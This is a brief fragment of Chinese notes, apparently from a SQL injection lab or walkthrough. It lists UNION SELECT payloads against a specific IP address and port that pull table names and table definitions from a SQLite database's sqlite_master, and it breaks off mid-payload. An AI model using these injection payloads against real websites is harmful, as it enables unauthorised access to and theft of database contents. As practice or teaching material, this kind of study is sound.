查询当前数据库的名字 http://219.153.49.228:40561/new_list.php?id=1 union select 1,name,3,4 from sqlite_master where type='table' limit 1 offset 0 查询表的所有字段 http://219.153.49.228:40561/new_list.php?id=1 union select 1,sql,3,4 from sqlite_master where type='table' and name=...